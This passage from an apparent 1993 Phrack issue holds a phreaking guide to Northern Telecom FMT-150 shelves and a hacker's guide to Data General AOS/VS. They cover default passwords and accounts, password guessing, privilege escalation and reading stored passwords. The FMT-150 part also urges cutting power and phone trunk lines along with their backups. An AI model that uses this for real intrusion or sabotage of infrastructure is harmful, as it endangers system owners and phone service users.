4  OO 8
5  O O 20
6  O O 7
7  O         O 4
8  OO 5
20 OO 6
```

```
                 Pin Definitions
      1. Ground                 6. Data Set Ready
      2. Transmit Data          7. Ground
      3. Receive Data           8. Data Carrier Detect
      4. Request to Send        9. Data Terminal Ready
      5. Clear to Send
```

When interfacing your Hayes compatible (telephone connection) configure the DIP switches in this manner.

```
X=empty space                  O X O X X O X O
O=the switch's position        X O X O O X O X
                               1 2 3 4 5 6 7 8
```

Alarms and Buttons

Listed below are some LED descriptions and button meanings that a phreak will find on the shelf.

LEDs	Description
MAJOR	RED - Service affecting failure (run, they'll be there soon!)
MINOR	YELLOW - Non-service affecting failure.
FUSE ALARM	RED - A fuse blew
REM	YELLOW - An alarm has occurred at

	a remote site.
Order-wire Left	GREEN - Solid, Left order wire is active, if flashing, incoming call on left.
Order-wire Right	Same as above, but for Right

BUTTONS	Description
LP TEST	Lights up all LEDs
ACO	Turns off existing audible alarm
LOC 1, 2, 3 (OW)	Rings every site common to STX signal 1, 2, and 3
EXP 1, 2, 3 (OW)	Same as above

Power Supply Unit

This is a seemingly 5V output power supply, which has a simple ON/OFF switch which is housed under a protective latch, pull this and have an instant phreak marathon (see REDUNDANCY at end of file.)

Equipment Configuration

The FMT-150 system is suitable for a wide variety of applications, as follows:

* Access Networks
  CO to Customer Serving Areas
  CO to Digital Loop Carrier
  CO to Switch Remote
  CO to Customer Premises.
* Inter-Office Trunk routes
* Broadband Applications such as Video
* Entrance Links to Radio Systems
* Dynamic Network Routing
* Stand-Alone Multiplexer Applications with Radio
* Route Diversity
* Wide Area Network (WAN) Application

Order-Wire

Order Wire

A buzzer is heard and a flashing LED is seen if a call is coming in, plug in a handset/headset connector into the jack on the shelf. To terminate the call pull the plug out or hit #. To dial, just plug in and dial four digits, wildcards are also allowed by use of the * key. The handset described is a Contempra Handset (NT2E36AA). A test set could also be used but the plug would have to be altered, its 4 wire, remember. Order Wire is only CO-to-CO communication. The jack can be plugged into the front of the FMT-150 shelf. The dialing format is described below.

First digit:	Indicates the type of call being made
Second, Third, and Fourth digits	Indicated which site will be dialed. Address of the site is set via rotary switches located on the front edge of the SCU module.

First digit significance

1 = local call for STX ({Pseudo} Synchronous Transport Signal:
First Level at 49.92 Mb/s [NT]) signal 2
2 = local call for STX signal 2
3 = local call for STX signal 3
(where'd 4 go?)
5 = express call for STX signal 1
6 = express call for STX signal 2
7 = express call for STX signal 3

The three following digits are not standard, so if you want to experiment with this hit a first digit and then three *'s

On the shelf there are buttons which act like speed dialing, the first three letters stand for LOCal or EXPress and the number is the signal, so EXP 2 would be broadcast call on STX signal 2, express channel.

Installation

```
                   A typical FMT-150 Setup
 Ä¿
            Ground Bar
 Ä´
          Fuse & Alarm Panel                                  A
 Ä´                        |
            FMT-150 Shelf                                     |
 Ä´                       7ft
            FMT-150 Shelf                                     |
 Ä´                        |
 Fiber Splice/Storage Panel or CAMMS                          V
 Ä´      <----25.94in---->
            FMT-150 Shelf
 Ä´
            FMT-150 Shelf
 Ä´
            FMT-150 Shelf
 Ä´
            FMT-150 Shelf
 Ä´
       FMT-150 or Rectifier Shelf
 Ä´
    FMT-150 or Standby Batt. Shelf
 Ä´
           AC outlet Assy
```

Operation Procedures

Specifics on Interfacing

The RS-232 serial interface supports the following terminals.

* DEC VT 100
* DEC VT 102
* DEC VT 220
* DEC VT 320
* FALCO
* IBM 3162 with VT 220 cartridge
* Wyse WY85 with VT100 Emulation

- Ramodom VT200 portable terminal
- Televideo 922
- Televideo 9220
- Tandy 200 (only with Multipoint Plus MCU:NT7H90CA/XC)
- CAMMS (only with Multipoint Plus: NT7H90CA/XC/FA)
- Cybernex (in 8-bit mode only)

(Ok bros this is the part we are interested in so sit back)

Login Procedures

If you approach the FMT-150 shelf and have a previously described interface, then you can login. Also if you are scanning (GTE (Northern Telecom) areas only) and come across a "sitting system" that displays a message (below) after hitting 3 returns, you are in!

```
                   1 - DEC VT100
                   2 - NT Meridian 6000
                       (Crosstalks or Procom with VT100
                       emulation)
                   3 - Tandy 200 (running Telecom)
                   F4- NTCAMMS MDU
                   Enter Terminal Type:
```

Choose your terminal type, usually 2 (use VT100) if you are calling in, and it will prompt you with a "Login: " prompt, this is a trick, there are no user levels, the "Login:" simply means enter the password, and the default is to hit return, so always try that first. If a password is installed then try something like FMT-150 or something that you would think they would use. You should get a screen like this one after choosing the terminal type:

```
                   FMT-150 Transmission System

                         Northern Telecom




               Firmware Copyright Northern Telecom 1988


- - Node Id.:  123456789012345- - - - Last Update 87/03/06 11:07-
Login:  (remember, enter a password here, no user levels!)

- - Syst Id.:  123456789012345- - - - Time:  87/03/06  11:07- - -
```

After Logging In

(commands are presented in an outline configuration, you should be getting screens of output, but this outline will show you what to input. # = number, not pound, <sp> = spacebar.)

Example: If I wanted to set the system's date to 1/4/1943 (heh) then after logging in I would press, "c" then "d", then "43", then "1" and finally "4".

```
-----------------------------------------------------------------
a                        Alarms (once again, lame stuff)
     o                       Optical Tx/Rx unit-level alarm
                               screen.
     t                       Translator module-level alarm
```

```
                                screen.
     m                        DM-13 multiplexer-level alarm
                                screen.
     c                        Common equipment-level and customer
                                input/output points alarm screen.

c                        Configuration (!)
     a                        alarm logger
       e                        enable alarm logger
       d                        disable alarm logger
     i
       # <sp>  "name"           Name a customer input point
        o
       # <sp>  "name"           Name a customer output point
     d
       #1 <sp> #2 <sp> #3 <sp>  Set date: #1 is year, #2 is month
                                #3 is day.
     t
       #1 <sp> #2 <sp> #3 <sp>  Set time: #1 is hour, #2 is
                                minute.
     p
       "oldpass"     "newpass"  Change password from "oldpass" to
                                  "newpass".
     s
       "system ID name"         Name System ID

s                        Switching commands (extremely extensive,
                           so I will include a small portion)
     # <sp>
       m
         # <sp>
           <return>                 Display DM-13 Switch Screen
       t
         <return>                 Display translator/optics
                                    switch status for node #.
     <return>                 Display translator/optics switch
                                status for local node or node last
                                displayed.
m                        Maintenance Commands
     r (see note)
       *                        Reset all nodes
       # <sp>                   Reset node #
     t
       # <sp>
         o                        Operate test of customer
                                    input/output points and E2A
                                    ports.
         r                        Release test of customer
                                    input/output points and E2A
                                    ports.
     l                            Logout of the FMT-150 system.

n                        Network Status
     <return>                 Display network status screen.
```

NOTE: After executing a local or global MCU reset, the message "PROCESSOR CRASH" will appear on the bottom of the CRT's screen. As a result, the user will have to log back into the system. In addition, a global MCU reset will clear all "names" and "settings" previously defined (that is, system ID, node, customer inputs/outputs, time and date).

Many other commands are listed but they are extremely numerous and useless to the average phreak.

If a "terminal" that is 4.4 inches tall with a center screen and

2 12 key keypads on either side is seen on the shelf, this will be a CAMMS terminal, all functions above can be performed with this unit, its menu driven.

Troubleshooting

This section is the manual is devoted to fixing problems in the FMT-150, aimed at the average see-my-crack-of-the-ass telco maintenance man.

Basically, if you see any red LEDs, inspect them and judge if you should get the hell out of the CO or not, usually red LEDs mean trouble.

REDUNDANCY

When doing anything of this nature to a fone company, you must remember, they are not stupid, everything has something to fall back on, if you were to cut a trunk line, there would be another to take its place. Usually there will be only one backup, so be meticulous and find both.

Outro

Hope this file was worth something to somebody, it applies mostly to those in a GTE area, since GTE uses Northern Telecom equipment and most everyone else uses AT&T stuff.

-FyberLyte 9-93

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 14 of 27

()

A Guide to Data General Corporation's

AOS/VS System
PART I

by Herd Beast

INTRODUCTION
~~~~~~~~~~~~

This file is a full (as full as such a file can get) guide to the AOS/VS system. The main reason for writing it is that from what I've seen, there is practically no info (in the form of files or otherwise) about it. I won't say I'm the only one who knows anything about it, but I had a hell of a time getting any sort of help when I started hacking these systems (I didn't get that help, in case you were wondering, and wrote this file all by myself 'cause I'm a MAN! Hahaha! <snort> <snort>).

I will explain a little about AOS/VS and then explain some of the commands and security features in it. This file is not a buffer of any help facility, although much information can and will be found in the help facility.

I can be contacted (hopefully) at hbeast@mindvox.phantom.com. If you want a nice start, and a front page on Newsweek, some Texaco ("Star of the American Road") systems run AOS/VS.

I cannot, will not, and do not assume liability for ANY of the effects of the use of this file. Also, I cannot guarantee that EVERYTHING will work EVERYWHERE, so treat this file as a reference. This file by no means covers everything about AOS/VS.

IDENTIFYING THE SYSTEM
~~~~~~~~~~~~~~~~~~~~~

Should you just fall at the system prompt, you might mistake it for a VMS. However, blank prompts like that are rare. An AOS/VS will identify itself like this: (this and all other buffered info in this file are from an AOS/VS II with CLI32. Only the best for Phrack)

```
AOS/VS II 2.20.00.12 / EXEC-32 2.20.00.07       31-May-93 22:51:25      @CON177

Username:
Password:
```

Another thing different will be the incorrect login message:

```
Invalid username - password pair
```

The header line lists the system version, current time/date and the console you are using.

When you reach the maximum incorrect logins defined in the system, it will show the line below and disconnect:

```
Too many attempts, console locking for 10 seconds
```

When you do succeed to log on, the system will display:

```
------
        Copyright (C) Data General Corporation, 1980 - 1992
        All rights reserved.
        Licensed material -- property of Data General Corporation
```

```
        This software is made available solely pursuant to the
        terms of a DGC license agreement which governs its use.

((NOTE: Or something else.  This is the default))
--------
Most recent logon        1-Jan-93       10:10:01
```

Very clear. Before you do anything, type CHARACTERISTICS. You will then get output like this:

```
/605X/LPP=24/CPL=80/BREAK=BMOB/TCC=40000/TCD=5000/TDW=1000/THC=2000/TLT=2000
/ON/ST/EB0/ULC/WRP/CTD
/OFF/SFF/EPI/8BT/SPO/RAF/RAT/RAC/NAS/OTT/EOL/UCO/MRI/FF/EB1/PM/NRM/MOD/TO/TSP/
C/FKT/VAL/HOFC/SHR/OFC/IFC/16B/ACC/SRDS/XLT/AUTOBAUD/CALLOUT/MDUA/HDPX/SMCD/RT
D/HIFC/G1G0/DKHW/NLX
```

Look for "/NAS". It stands for non ANSI standard, which means that if you are using ANSI (probably you are), you needs to issue CHARACTERISTICS/OFF/NAS, should you find "/NAS" listed after "/ON".

Upon logging off from the system (BYE), you will see:

```
AOS/VS II  CLI   Terminating     1-JAN-93       11:11:01
Process 180 Terminated
Elapsed Time   0:16:26, CPU Time   0:00:02.447, I/O Blocks  281
(Other console jobs, same USERNAME --  16)
User 'HBT' logged off @CON228   1-Jan-93       11:11:01
```

SYSTEM DEFAULTS

These are accounts I usually found existing. As usual, they are really similar to those of any other system.

USERNAME	
((Privileged accounts))	
OP	EXEC default username
SYSMGR	System manager
CEO_MGR	If the system is running CEO
OPER	
OPERATOR	
((Regular accounts))	
CEO.xxxxx	If the system is running CEO, a CEO user, xxxxx being his number.

As for password guessing, well, it's all been said. Try the username, with some modification, you might get in. As dumb as it sounds, yes, people do have weak passwords, even today, although not everywhere.

SYSTEM STRUCTURE

In this section I'll try to describe the real basics of AOS/VS. I will describe a few commands HERE, and not under "Command List", these commands will be the basic commands: change directory, list files, etc, needed to survive in any system.

The AOS "shell" is called CLI (Command Line Interpreter). There are two versions of CLI, CLI16 and CLI32, with CLI32 being more advanced. The CLI version affects the system prompt, the way commands are handled by the system and by the user, and more. For example, some command switches do not exist under CLI16 (unless very important, I omitted switches that work only under CLI32 from this file).

Here are the privilege levels available under AOS/VS:

CLI16 PROMPT	CLI32 PROMPT	PRIVILEGES MODES
)	)	None

	Sm)	System Manager
+)	Sp)	Superprocess
*)	Su)	Superuser
	SmSp)	System Manager and Superprocess
	SmSu)	System Manager and Superuser
#)	SpSu)	Superprocess and Superuser
	SmSpSu)	System Manager, Superprocess, Superuser

AOS/VS doesn't grant privileges upon logon. A user's profile may state the user can access privilege level So-And-So, and if the user later needs that level, he calls upon a SUPER utility to grant him that level. This is the place to explain how several different utilities work. OPERATOR grants the user the ability to access diskettes in dump or load sessions (see the section titled "System Commands") in sequential order, instead of accessing them one by one. SUPERUSER turns off all access checking, enabling the user to do anything with any file on the system. SUPERPROCESS gives the user the ability to terminate, block, unblock, or change priorities of any process on the system. The last command, PRIVILEGE, which is available only under CLI32, enables the user to set both SUPERUSER and SUPERPROCESS access. It also offers the only way to set SYSTEMMANAGER access, which is required for operations like changing time or date.

Command are executed by calling their names, or any part of their name that only fits them. For example, SUPERUSER can be abbreviated as SUPERU. It is important to remember that command switches MUST follow the command without any space, or else the command will try to process the switches! For example, CHARACTERISTICS /OFF/NAS will result in an "Error: Illegal filename character characteristics,/off/nas".

The root directory directory is called ':'. Any other directories are under it, for example ':OUT' and ':OUT:RALF'. If, for example, you FTP into an AOS/VS and use "cd /" you will be moved in ':'. If you use "cd /out/ralf" you will be moved into ':OUT:RALF'. To make this much more clearer (right):

```
            :
           HBT
            |
            |
           TEXT
           /  \
      PHRACK  SEX
```

Legal characters in file or directory names are all the alphabet and numbers, plus '$', '_', '.' and '?'.

Moving from directory to directory is done by using the "DIRECTORY" command. Without any arguments, DIRECTORY shows the current path. With an argument, DIRECTORY changes to that directory.

DIRECTORY [directory]

/I	Changes to the initial directory
/I path	Changes the initial directory to "path"
/P	Changes to the previous directory

To list files in a directory, use "FILESTATUS". Without arguments, FILESTATUS lists files in the current directory. With a path argument, FILESTATUS lists file in that path.

FILESTATUS [directory]

/[AFTER|BEFORE]/[TCR|TLA|TLM]=date and/or time

> Shows files matching the selection date or time. The selections are: time created (TCR); time last accessed (TLA); and time last modified (TLM). The difference between accessed

and modified is pretty clear, for example if the file is an executable. The date/time format is: for TIME - hour-minute-sec (xx-xx-xx); for DATE - day-month-year (xx-xxx-xx); for BOTH - dd-mmm-yy:hh:mm:ss. Example command lines will be

```
FILESTATUS/AFTER/TCR=11              Created after 11 AM
FILESTATUS/BEFORE/TLM=01-JAN-90      Modified before 01/01 1990
FILESTATUS/AFTER/TLA=01-JAN-90:11    Accessed after 11 AM,
                                     01/01, 1990
```

/ASSORTMENT	Normally, FILESTATUS output is just file name. With /ASSORTMENT, FILESTATUS shows file type, time/date of creation, and length in bytes. Similar to Unix, if the file is a link, the file type is set to LNK and FILESTATUS shows its path.
/COUNT	Tells how many files are in the directory. [CLI32]
/[DCR|DLA|DLM]	Shows date of creation (DCR); date last accessed (DLA); and date last modified (DLM).
/LENGTH	Displays file length in bytes.
/LINKNAME	If the file is a link, FILESTATUS displays the information about the file that it's linked too. For example, if BOB is linked to RON, FILESTATUS/LINKNAME BOB would display RON's details. Otherwise, nothing happens.
/TYPE=[\]type	Displays files of type, or all files not of that type (if \type) was used. See below for valid file types.
/UDA	If the file has a UDA (user data area), its presence is displayed.

The CLI's wildcards (sort of), are '=', '^', ':' and '@. '=' means the current directory. '^' means the parent directory. ':' is (as already said) the root directory. '@' means the devices directory (where consoles, tape drives, modems, etc are. Similar to /dev on Unix). Note that when talking about directories, the ':' is already included. For example, if you're in :UDD:HBT:TEXT, and want to move to :UDD:HBT:BIN, you'd type DIRECTORY ^BIN, and not DIRECTORY ^:BIN. File wildcards are '+', which is equivalent to '*' at DOS, and '#' which is equivalent to '*.*' at DOS. For example, FILE +.CLI will show all the files whose names end with ".CLI"; FILE :UDD:# will display all the files in UDD (which won't happen if you just issue FILE :UDD -- in that case, you'll see only information about the directory UDD, and not the files within it).

As with Unix, you can enter more than one command on a line if you separate the commands with a ';' (a semicolon). If you need more than a line for your commands, type an '&' before pressing Return, and the CLI will just keep on reading, instead of processing the command line and try to run it. This goes ONLY for a sequence like this: "&<Return>", an '&' anywhere else acts just like any other character.

There are several control characters the CLI takes and uses:

CONTROL CHAR	WHAT IT DOES
Ctrl-C	Begins a Ctrl char sequence.
Ctrl-D	End of file.

Ctrl-L	Clear screen.
Ctrl-P	Don't interpret the following character in any special way.
Ctrl-S	Stops output to the terminal.
Ctrl-Q	Resumes output to the terminal.
Ctrl-U	Cancel (delete) current input line.
Ctrl-C Ctrl-A	Interrupt current process.
Ctrl-C Ctrl-B	Terminates current process.
Ctrl-C Ctrl-C	Empties the input buffer.
Ctrl-C Ctrl-E	Terminates current process and create a break file (where termination message is stored).

If the CLI is run with a /NOCA switch, it will ignore Ctrl-C Ctrl-A sequences, so if put in the start of a macro file, it won't allow you to break that macro and enter the CLI.

AOS/VS had many file types. File types are three letter acronyms (although not always) for the file; the same way DOS and VMS have extensions, the file type controls what the file is (it can have any extension in its name). File types have a decimal numbers assigned to them, as well. There are 70 file types, although the operating system reserves space for 128. The user can define his own file types. These are some of the he AOS/VS file types:

	TYPE NUMBER	TYPECODE	MEANING
All these types /	11	LDU	Logical disk unit
are directories -|	12	CPD	Control point directory
\	10	DIR	Directory
	0	LNK	Link
	68	TXT	Text
	1	SDF	System data file
	2	MTF	Magnetic tape file
	13	MTV	Magnetic tape volume
	22	MTU	Magnetic tape unit
	49	CON	Console
	51	RMA	Remote host (RMA)
	52	HST	Remote host (X.25 SVC)
	54	PVC	Remote host (X.25 PVC)
	64	UDF	User data file
	69	LOG	System log file
	74	PRV	AOS/VS program file
	75	WRD	Word processing file
	87	UNX	Unix file (created on a Unix)
	95	SPD	Spreadsheet file
	104	PIP	Pipe
	105	TTX	Teletex file

"Generic files" are actually pointers that help using devices and files. For example, the @NULL generic file functions like /dev/null on Unix. Here are the generic files:

@CONSOLE	The process' (user's) console.
@DATA	A long file created by the user that will be used as data by a program. @DATA is set using DATAFILE.
@INPUT	A short file created by the user that will be used as input by a program. @INPUT is set using PROCESS/INPUT=.

@NULL	Well, null.
@LIST	A long output file that will be used as a program's output. @LIST is set using LISTFILE.
@OUTPUT	A short output file for a program. @OUTPUT is set using PROCESS/OUTPUT=.

When a program is run, it will sometime try to open one of these generic files. If they're not set, it will fail on error 21 (non existent file). But if the file is set, it can use it. So, for example, you can use PROCESS/OUTPUT=@CONSOLE PROGRAM for output to go to you, or PROCESS/OUTPUT=OUT_FILE PROGRAM for it to go to OUT_FILE.

"Device files" are files the connect to hardware parts, such as modems, printers, tapes, diskette drives, FAX machines, etc. In due time, a program called EXEC makes a connection between processes and devices and utilizes those devices (see the section titled "The 'EXEC' Program"). Some devices are also used by the backup related programs DUMP and LOAD, and more. Some of these are:

@MTB0:x	The magnetic tape unit #0, x being a dumpfile on the tape (x starts from 0).
@DPJ	A diskette device name.
@LFD	A generic labeled diskette file name.

The equivalent of a PATH (usually environment variable) in other systems is called SEARCHLIST in AOS/VS. When you call a command, or ask for help, the CLI looks through your SEARCHLIST for the files. So, assuming you typed HELP MODEM, and somewhere in your searchlist there exists a file called MODEM.CLI, HELP will show you,

```
modem           - Macro, File :UTIL:COMM:MODEM.CLI
```

The same goes for other commands, even TYPE (TYPE MODEM.CLI from :UDD:HBT, if :UTIL:COMM is in your searchlist and there's no MODEM.CLI in :UDD:HBT will work).

To display your searchlist, just use plain SEARCHLIST. To change it, use SEARCHLIST path,path,path ...

It's possible to set a password for your current CLI session. This password is not the password used upon login! It's a password the user sets to protect his session. He then types LOCK, and from then, anyone wishing to use the user's CLI (from the user's console), must enter the password first. Legal passwords are up to 32 characters long, not including Ctrl characters.

The CLI offers several levels to the user. It starts on the highest level, 0, and the user may create other level, and use POP to move up a level, and PUSH to go down a level. When a user POPs to a level, the CLI environment of the older (higher) level remains (the environment of the level he was in until that time is therefore changed). When he PUSHes, the current level's environment is copied to the lower level. To display the current CLI level, use LEVEL. To display the level's environment, use CURRENT. To display an upper level's environment (except when at the highest level), use PREVIOUS.

When you want to print a file, or run something in the background, you have to submit it as a job. The submit a printing job, use the QPRINT command (will print the file). To submit a batch job, which is for executing a command, use QBATCH (for example, QBATCH MASM ASMPROG).

AOS/VS had a facility called "queues", managed by the EXEC program (see "The 'EXEC' Program"). A queue is a place where file transfer, batch, and printing jobs are stored until the right process can take them and execute them. The standard queues are:

QUEUE NAME	JOB TYPE	CONTENTS
BATCH_INPUT	Batch	Batch input files. Submitted by QBATCH or QSUBMIT.
BATCH_OUTPUT	Printing	Output files from finished batch jobs (usually sent to a line printer).
BATCH_LIST	Printing	List files from finished batch jobs (usually sent to a line printer).
((Batch jobs are submitted through QBATCH.))		
LPT	Printing	Print jobs submitted by QSUBMIT.
MOUNTQ	Mount	Tape mount requests. Submitted by MOUNT.

After a job has been submitted, use QDISPLAY to show its status. Use QHOLD to hold jobs and QUNHOLD to release them. Last, to display the status of all queues, use QDISPLAY as well.

AOS/VS also has an extensive help facility. For help on broad topics, use HELP (to list topics) and then HELP *TOPIC. For help on system commands, use HELP COMMAND (for a list of switches) or HELP/V COMMAND for more details.

CLI MACRO PROGRAMMING

Macro filenames usually end with ".CLI" are usually text files (filetype TXT). A macro is a file that will be executed when called (adding .CLI to the name when calling isn't necessary), and perform the commands (or other macros) in it. If the macro matches the name of a CLI command, the macro must be called together with the .CLI part of its name. Macros expand arguments in the following way:

Range Arguments (like filenames):

%x%	Argument number x, with its switches. %0% is the macro's name.
%-%	All the arguments, with their switches, except for %0%.
%x-y,i%	Arguments x through y, in jumps of i. If x or i are missing, the CLI assumes 1. If y is omitted, 32767 is assumed. For example, if the arguments were "1 2 3 4 5 6 7", a %2-6,2% call expands to "2 4 6".

Switch Arguments:

%x/%	All the switches of argument x.
%x\%	Argument x, without its switches.
%x/y%	Argument x, with switch number y.
%x/y=%	The value of argument's x switch number y.
%x\y%	All the switches of argument x, including their values, except for switch number y.

Conditionals are used in the form of [CONDITIONAL,ARGS]. If a conditional returns TRUE, the CLI executes everything after it until it reaches an ELSE or an END. Otherwise, it skips to an ELSE or an END (basic programming).

!EQUAL	True if both arguments equal alphabetically.
!NEQUAL	True if both arguments don't equal alphabetically.
!UEQ	True if both arguments equal numerically.

These are called pseudo macros, and are usually built like conditionals, although sometimes they just substitute for a part of the environment. There are about 60 of them, but I'll only list a selected few for brevity.

[!ACL path]	Expands for the ACL of path.
[!ASCII octnum]	Expands to the ASCII character with the octnum octal number. For example, newline is octal 12.
[!CLI]	Expands to CLI32 or CLI16, according to the CLI.
[!DATE]	Date, like 01-Jan-93.
[!SYSTEM]	Expands to the type of OS.
[!SEARCHLIST]	Expands to the search list.
[!LEVEL]	Expands to the current CLI level.
[!CLI]	Expands to the CLI type.
[!EXPLODE args]	Puts a comma between each pair of character in args. When used with STRING, in converts spaces and tabs too. When used with WRITE, in converts into space.
[!LISTFILE]	Expands to the path of the listfile.
[!USERNAME]	Expands to the username of the person running the macro.
[!LOGON]	Returns CONSOLE if logged on to a terminal or BATCH if logged in on a batch stream (only works for EXEC logons).
[!DATAFILE]	Expands to the path of the datafile.
[!HID [host]]	Returns the host ID. With [host] return the host ID of [host].
[!HOST [host]]	Returns the host name.
[!STRING]	Expands to the value of the CLI string.

A more complex pseudo macro is !READ:
[!READ[/args] text]

!READ prints text to the output and then expands to what was received from the input (which is considered finished when a newline is received). !READ’s args are functional only under CLI32 and are:

/EOF=str

The string that will be returned if EOF is met.

/FILEID=file

Reads from file instead of @OUTPUT. The file must be already opened using OPEN.

/LENGTH=x

Read until x characters were typed.

/S

Discards all typed after a semicolon (’;’) or a left bracket (’[’). Otherwise, that text must be a valid CLI command or macro, or a pseudo macro or macro ending with a right bracket if following the left bracket.

Note that all pseudo macros, including !READ can be used at the command line and not just in CLI macro files.

Here’s an example:

```
COMMENT ------------------------------------------------
COMMENT Examples of the use of conditionals and arguments
COMMENT in macros.
COMMENT This macro was invoked like this:
COMMENT HMAC 9 0 000
COMMENT ------------------------------------------------

[!EQUAL,%1%,]
     WRITE,,,,Execute with arguments please!
[!ELSE]
     [!EQUAL,%2%,%3%]
```

```
          WRITE,,,,%2% and %3% do match ALPHABETICALLY.
     [!ELSE]
          WRITE,,,,%2% and %3% don’t match ALPHABETICALLY.
     [!END]
     [!UEQ,%2%,%3]
          WRITE,,,,%2% and %3% do match NUMERICALLY.
     [!ELSE]
          WRITE,,,,%2% and %3% don’t match ALPHABETICALLY.
     [!END]
     [!UEQ,%1%,%2%]
          WRITE,,,,%1% and %2% do match NUMERICALLY.
     [!ELSE]
          WRITE,,,,%1% and %2% don’t match NUMERICALLY.
     [!END]
[!END]

COMMENT ----------------------------------------------------
COMMENT The output would be:
COMMENT 0 and 000 don’t match ALPHABETICALLY.
COMMENT 0 and 000 do match NUMERICALLY.
COMMENT 9 and 0 don’t math NUMERICALLY.
COMMENT ----------------------------------------------------

[!EQUAL,[!READ What’s your name?,,],HBT]
     WRITE,,,,[!ASCII 12]You’re HBT.
[!ELSE]
     WRITE,,,,[!ASCII 12]You’re not HBT.
[!END]

[!EQUAL,[!CLI],CLI16]
     WRITE,,,,[!ASCII 12]I was going to show you something else.
     WRITE,,,,Too bad you’re using CLI16 which won’t let READ take arguments.
[!ELSE]
     STRING [!READ/LENGTH=1 Continue? (Y/N)]
     [!EQUAL,[!STRING],N]
          WRITE,,,,[!ASCII 12]Good man [!USERNAME].
     [!ELSE]
          [!EQUAL,[!STRING],Y]
               WRITE,,,,[!ASCII 12]Too bad Mister I-Use-[!SYSTEM]
          [!ELSE]
               WRITE,,,,[!ASCII 12]Learn English guy.
          [!END]
     [!END]
[!END]
WRITE,,,,Thank you for using %0%.
```

AOS/VS can also be programmed in 16 bit and 32 bit Assembly (and compiled using MASM), BASIC, Fortran, C, Pascal and probably others.

This second program is actually quite simple. I do not even read the UPF type file directly; I just feed text into the PREDITOR (see the next section).

```
COMMENT ----------------------------------------------------
COMMENT Delete the little help screen if you are under
COMMENT CLI16.  Or just run CLI32.
COMMENT ----------------------------------------------------

[!EQUAL,%1%,]
     WRITE,,,,[!ASCII 12]Format is: %0%/A NAME
     WRITE,,,,,,,,,,,,or      /L NAME
[!ELSE]
     [!EQUAL,%1%,]
               WRITE,,,,,,,Which user exactly?
     [!ELSE]
          [!NEQUAL,%0/L%,]
               WRITE/L=?USER.TMP  L
               WRITE/L=?USER.TMP  %1%
               WRITE/L=?USER.TMP
               WRITE/L=?USER.TMP  b
```

```
                PROC/DEF/IOC/IN=?USER.TMP/BLOCK PREDITOR
                DEL ?USER.TMP
            [!ELSE]
                WRITE/L=?USER.TMP  c
                WRITE/L=?USER.TMP  %1%
                WRITE/L=?USER.TMP  y
                WRITE/L=?USER.TMP  %1%
                WRITE/L=?USER.TMP  n
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP
                WRITE/L=?USER.TMP  b
                PROC/DEF/IOC/IN=?USER.TMP/BLOCK PREDITOR
                DEL ?USER.TMP
            [!END]
        [!END]
[!END]
```

SYSTEM SECURITY
~~~~~~~~~~~~~~~

The AOS/VS login is performed in the following manner.

Every username has a file associated with it in the :UPD directory. That file is its profile, and contains the account profile. Once the user has entered a correct username/password pair, the operating system loads the user's profile (which includes how much memory and disk space the user is allowed to use and the user's allowed privileges) into its internal tables. Several privileges which can be set are the initial user directory and initial program that will be executed upon completion of the login (eg, the CLI); how many processes the user may run; what process priorities the user has; and what SUPER privileges the user has (eg, SUPERUSER, SUPERPROCESS).

As mentioned, if the user has SUPER privileges, he must activate them himself (using the right command, or PRIVILEGE if using CLI32).

An important thing to know about password security is that if the system
~~~~~~~~~~~~~~~

is running Data General's XODIAC networking software, user's might not be able to access remote machines through the network if the passwords are encrypted. Therefore, if you are on a XODIAC host, chances are the passwords won't be encrypted. The ACL of the :UPD directory doesn't let every user can access it, though.

Passwords are changed by the user by pressing Ctrl-L immediately after entering the password at login. This will only work for users that have the privilege to set their own passwords. Legal passwords are 6 to 15 characters.

This the format (the fields) of the AOS/VS profiles:

* Password	
* Initial program	To be executed after login
* Initial IPC file	The LOGON file
* Initial directory	
* Default user priority	The user's process priority
* Maximum queue priority	The highest queue priority which the user can set for a batch job. The lower the number, the higher the priority (1-255).
* Unlimited son processes	
* Maximum son processes	If the above option if off.
* Disk quota in blocks	
* Logical address space (batch)	Allows the user to control the size of the logical address space in which his programs will be executed. If -1, the system sets.
* Minimum working set (batch)	The minimum number of pages a user can have in their active processes. If -1, the system determines the value according to the program's demands.
* Maximum working set (batch)	
* Logical address space (non batch)	
* Minimum working set (non batch)	
* Maximum working set (non batch)	
* Encrypt password	
* Superuser	
* Superprocess	
* Use IPC	Allows the user to make IPC calls.
* Use console	
* Use batch	
* Use virtual console	Virtual consoles are created by networked logins.
* Use modem	A modem is a console with the characteristic of /MOD on.
* Change password	
* Change priority	
* Change type	
* Change username	Allows user to become another username without actually logging in into that user's profile.
* Access devices	Allows user to directly issue Assembly instructions to devices.
* Create without block	Allows the user to start a son process without blocking the father process.
* System manager privileges	
* Access local devices remotely	
* Change addr. space type	Allows 32 bit processes to be called from 16 bit processes (usually on, since there is a CLI16, but most programs are 32 bit).
* Change working set limit	Allows user to change the working set size of programs.
* Comments	

User profiles can be created, deleted, read, and modified from the AOS/VS User Profile Editor: PREDITOR. PREDITOR gives you a prompt from which you can read any account and the values of its fields.

PREDITOR does not, however, display the password field, whether it's encrypted or not -- just an indication of what the Encrypt Password field is set to. This is easily overcome, since if you can execute the PREDITOR, you can just as well SED the :UPD:USERNAME file and look at the password (it's right up there) -- PREDITOR can only be loaded by a user that can become Superuser.

